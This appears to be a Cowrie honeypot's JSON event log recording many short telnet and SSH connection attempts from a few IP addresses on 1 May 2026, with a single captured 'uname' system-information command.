{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":44516,"dst_ip":"10.17.0.5","dst_port":23,"session":"641b4ed49ed5","protocol":"telnet","message":"New connection: 15.204.204.191:44516 (10.17.0.5:23) [session: 641b4ed49ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:11.389938Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":33910,"dst_ip":"159.203.135.109","dst_port":23,"session":"272785e44100","protocol":"telnet","message":"New connection: 41.76.108.55:33910 (159.203.135.109:23) [session: 272785e44100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:12.134844Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:12.145539Z","src_ip":"2.57.121.25","session":"f4fc0ac7d522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.57108163833618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:12.191722Z","src_ip":"41.76.108.55","session":"772bf8686218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389612436294556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:13.046803Z","src_ip":"15.204.204.191","session":"454725ddcfde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72948718070984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:13.129550Z","src_ip":"41.76.108.55","session":"68dbe003ef77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":54336,"dst_ip":"159.203.135.109","dst_port":23,"session":"74df20aa2677","protocol":"telnet","message":"New connection: 41.76.108.55:54336 (159.203.135.109:23) [session: 74df20aa2677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:13.176707Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:13.771931Z","src_ip":"122.168.114.167","session":"8d82a9cd0ce2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:13.775650Z","src_ip":"122.168.114.167","session":"8d82a9cd0ce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41040,"dst_ip":"159.203.135.109","dst_port":23,"session":"9951a1cc2771","protocol":"telnet","message":"New connection: 41.76.108.55:41040 (159.203.135.109:23) [session: 9951a1cc2771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:13.895191Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42268,"dst_ip":"159.203.135.109","dst_port":23,"session":"37a08f375d52","protocol":"telnet","message":"New connection: 41.76.108.55:42268 (159.203.135.109:23) [session: 37a08f375d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:14.164756Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.8","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:15.573206Z","src_ip":"122.168.114.167","session":"8d82a9cd0ce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:15.578768Z","src_ip":"122.168.114.167","session":"8d82a9cd0ce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":48542,"dst_ip":"159.203.135.109","dst_port":23,"session":"6adbadff6088","protocol":"telnet","message":"New connection: 41.76.108.55:48542 (159.203.135.109:23) [session: 6adbadff6088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:15.834799Z"}
{"eventid":"cowrie.session.closed","duration":30.94376540184021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:16.068423Z","src_ip":"15.204.204.191","session":"b189d87edd57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":49764,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd6335f3aaba","protocol":"telnet","message":"New connection: 41.76.108.55:49764 (159.203.135.109:23) [session: cd6335f3aaba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:16.136527Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":50590,"dst_ip":"159.203.135.109","dst_port":23,"session":"63eacde9f794","protocol":"telnet","message":"New connection: 41.76.108.55:50590 (159.203.135.109:23) [session: 63eacde9f794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:16.337252Z"}
{"eventid":"cowrie.session.closed","duration":30.6679208278656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:16.443588Z","src_ip":"15.204.204.191","session":"e32e5d184df5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31343412399292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:17.880660Z","src_ip":"41.76.108.55","session":"873fe02f6662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71191096305847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:18.012172Z","src_ip":"15.204.204.191","session":"dcdc0ffa6832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98778223991394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:18.017578Z","src_ip":"15.204.204.191","session":"7fb8d92f1cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945518970489502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:18.087484Z","src_ip":"15.204.204.191","session":"a7d75c8af444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":52714,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce8ec4cf1db4","protocol":"telnet","message":"New connection: 15.204.204.191:52714 (10.17.0.5:23) [session: ce8ec4cf1db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:18.344957Z"}
{"eventid":"cowrie.session.closed","duration":30.588467359542847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:18.402177Z","src_ip":"41.76.108.55","session":"d6728d6d6fd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59880,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ef66653593b","protocol":"telnet","message":"New connection: 41.76.108.55:59880 (159.203.135.109:23) [session: 8ef66653593b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:19.596726Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":36544,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aabea911dce","protocol":"telnet","message":"New connection: 41.76.108.55:36544 (159.203.135.109:23) [session: 3aabea911dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:19.810484Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":52728,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdfcc2ce0068","protocol":"telnet","message":"New connection: 15.204.204.191:52728 (10.17.0.5:23) [session: bdfcc2ce0068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:20.010000Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37334,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e0c507ef9ea","protocol":"telnet","message":"New connection: 41.76.108.55:37334 (159.203.135.109:23) [session: 3e0c507ef9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:20.021568Z"}
{"eventid":"cowrie.session.closed","duration":30.589502573013306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:20.187225Z","src_ip":"41.76.108.55","session":"8a138ab0ea53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":52744,"dst_ip":"10.17.0.5","dst_port":23,"session":"439423c95444","protocol":"telnet","message":"New connection: 15.204.204.191:52744 (10.17.0.5:23) [session: 439423c95444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:20.352254Z"}
{"eventid":"cowrie.session.closed","duration":30.372282028198242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:21.015071Z","src_ip":"15.204.204.191","session":"ef4ea8b33fac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42022,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d760806f304","protocol":"telnet","message":"New connection: 41.76.108.55:42022 (159.203.135.109:23) [session: 2d760806f304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:21.101743Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44722,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a69376f7f5d","protocol":"telnet","message":"New connection: 41.76.108.55:44722 (159.203.135.109:23) [session: 6a69376f7f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:21.776369Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":48508,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0cb78c1fba2","protocol":"telnet","message":"New connection: 15.204.204.191:48508 (10.17.0.5:23) [session: b0cb78c1fba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:21.868535Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":48522,"dst_ip":"10.17.0.5","dst_port":23,"session":"7567140a009c","protocol":"telnet","message":"New connection: 15.204.204.191:48522 (10.17.0.5:23) [session: 7567140a009c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:22.093170Z"}
{"eventid":"cowrie.session.closed","duration":30.612382888793945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:22.135301Z","src_ip":"41.76.108.55","session":"fbf9979b616a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215715646743774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:22.343318Z","src_ip":"15.204.204.191","session":"d440482562bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":48526,"dst_ip":"10.17.0.5","dst_port":23,"session":"3712d3d9f640","protocol":"telnet","message":"New connection: 15.204.204.191:48526 (10.17.0.5:23) [session: 3712d3d9f640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:22.775003Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":50994,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e91b541765d","protocol":"telnet","message":"New connection: 41.76.108.55:50994 (159.203.135.109:23) [session: 5e91b541765d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:23.389081Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":48534,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f886cf2cb71","protocol":"telnet","message":"New connection: 15.204.204.191:48534 (10.17.0.5:23) [session: 5f886cf2cb71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:23.673009Z"}
{"eventid":"cowrie.session.closed","duration":30.91280698776245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:24.148620Z","src_ip":"15.204.204.191","session":"a6cdd16a2afe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":48540,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ac905e8ba9","protocol":"telnet","message":"New connection: 15.204.204.191:48540 (10.17.0.5:23) [session: d3ac905e8ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:24.566144Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":48552,"dst_ip":"10.17.0.5","dst_port":23,"session":"a902b926543c","protocol":"telnet","message":"New connection: 15.204.204.191:48552 (10.17.0.5:23) [session: a902b926543c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:24.993119Z"}
{"eventid":"cowrie.session.closed","duration":30.402513027191162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:25.221065Z","src_ip":"41.76.108.55","session":"10f8bb85fd95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":33352,"dst_ip":"159.203.135.109","dst_port":23,"session":"69453fa5b440","protocol":"telnet","message":"New connection: 41.76.108.55:33352 (159.203.135.109:23) [session: 69453fa5b440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:26.171065Z"}
{"eventid":"cowrie.session.closed","duration":30.998008251190186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:27.128747Z","src_ip":"41.76.108.55","session":"22bcf9c2de39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.499711513519287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:27.189910Z","src_ip":"41.76.108.55","session":"32b0137b0976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":48556,"dst_ip":"10.17.0.5","dst_port":23,"session":"21be7523c592","protocol":"telnet","message":"New connection: 15.204.204.191:48556 (10.17.0.5:23) [session: 21be7523c592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:28.537800Z"}
{"eventid":"cowrie.session.closed","duration":31.27256178855896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:29.182024Z","src_ip":"41.76.108.55","session":"563b4b8c3553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":47830,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e15900281db","protocol":"telnet","message":"New connection: 41.76.108.55:47830 (159.203.135.109:23) [session: 0e15900281db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:29.670603Z"}
{"eventid":"cowrie.session.closed","duration":30.664790153503418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:30.119794Z","src_ip":"15.204.204.191","session":"16060bad9ac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693800926208496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:30.159589Z","src_ip":"15.204.204.191","session":"1b8e120417ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.988123655319214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:30.222478Z","src_ip":"41.76.108.55","session":"2570ae0ce341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":51716,"dst_ip":"159.203.135.109","dst_port":23,"session":"99dd51a90bc1","protocol":"telnet","message":"New connection: 41.76.108.55:51716 (159.203.135.109:23) [session: 99dd51a90bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:30.583492Z"}
{"eventid":"cowrie.session.closed","duration":30.719390392303467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:31.024571Z","src_ip":"15.204.204.191","session":"c33b885353c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78067135810852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:31.046690Z","src_ip":"15.204.204.191","session":"1b91138d9495","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864521265029907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:31.061161Z","src_ip":"15.204.204.191","session":"415e16d25011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678052186965942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:31.139214Z","src_ip":"41.76.108.55","session":"d593bd36e088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":55600,"dst_ip":"159.203.135.109","dst_port":23,"session":"5822d6204569","protocol":"telnet","message":"New connection: 41.76.108.55:55600 (159.203.135.109:23) [session: 5822d6204569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:31.478108Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":39370,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31de009af3a","protocol":"telnet","message":"New connection: 15.204.204.191:39370 (10.17.0.5:23) [session: c31de009af3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:32.115632Z"}
{"eventid":"cowrie.session.closed","duration":31.481977701187134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:32.594432Z","src_ip":"15.204.204.191","session":"d46edf8c4392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175049781799316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:33.164092Z","src_ip":"41.76.108.55","session":"db04c4d92052","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":35522,"dst_ip":"159.203.135.109","dst_port":23,"session":"250be180b341","protocol":"telnet","message":"New connection: 41.76.108.55:35522 (159.203.135.109:23) [session: 250be180b341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:33.385478Z"}
{"eventid":"cowrie.session.closed","duration":30.398137092590332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:34.237420Z","src_ip":"41.76.108.55","session":"ac905e53de0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":39382,"dst_ip":"10.17.0.5","dst_port":23,"session":"28463afd5fb5","protocol":"telnet","message":"New connection: 15.204.204.191:39382 (10.17.0.5:23) [session: 28463afd5fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:34.855599Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42216,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e537a5b8fb3","protocol":"telnet","message":"New connection: 41.76.108.55:42216 (159.203.135.109:23) [session: 6e537a5b8fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:35.081690Z"}
{"eventid":"cowrie.session.closed","duration":30.315227508544922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:35.166160Z","src_ip":"41.76.108.55","session":"c9aa5e7da89d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":39394,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93561c34f1f","protocol":"telnet","message":"New connection: 15.204.204.191:39394 (10.17.0.5:23) [session: c93561c34f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:35.253608Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":47442,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d1a95e0be7","protocol":"telnet","message":"New connection: 41.76.108.55:47442 (159.203.135.109:23) [session: 99d1a95e0be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:36.367723Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":47662,"dst_ip":"159.203.135.109","dst_port":23,"session":"be132627a85f","protocol":"telnet","message":"New connection: 41.76.108.55:47662 (159.203.135.109:23) [session: be132627a85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:36.424526Z"}
{"eventid":"cowrie.session.closed","duration":31.164891004562378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:37.305324Z","src_ip":"41.76.108.55","session":"231e8e971ce8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":55188,"dst_ip":"159.203.135.109","dst_port":23,"session":"6804fc99cd49","protocol":"telnet","message":"New connection: 41.76.108.55:55188 (159.203.135.109:23) [session: 6804fc99cd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:38.229051Z"}
{"eventid":"cowrie.session.closed","duration":30.770176649093628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:38.630196Z","src_ip":"41.76.108.55","session":"11bc220dcbb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.757830142974854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:39.062661Z","src_ip":"15.204.204.191","session":"50eb5485fcff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59296,"dst_ip":"159.203.135.109","dst_port":23,"session":"42b8f01aaa61","protocol":"telnet","message":"New connection: 41.76.108.55:59296 (159.203.135.109:23) [session: 42b8f01aaa61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:39.204367Z"}
{"eventid":"cowrie.session.closed","duration":30.81591510772705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:42.200679Z","src_ip":"41.76.108.55","session":"581b930a4b86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30841636657715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:42.272567Z","src_ip":"41.76.108.55","session":"05d9cfaa94de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44052,"dst_ip":"159.203.135.109","dst_port":23,"session":"b85c32ff7777","protocol":"telnet","message":"New connection: 41.76.108.55:44052 (159.203.135.109:23) [session: b85c32ff7777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:42.362544Z"}
{"eventid":"cowrie.session.closed","duration":31.549707412719727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:42.939561Z","src_ip":"15.204.204.191","session":"641b4ed49ed5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":47320,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c5a4bbd1703","protocol":"telnet","message":"New connection: 41.76.108.55:47320 (159.203.135.109:23) [session: 2c5a4bbd1703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:43.162821Z"}
{"eventid":"cowrie.session.closed","duration":31.059326648712158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:43.194050Z","src_ip":"41.76.108.55","session":"272785e44100","protocol":"telnet"}
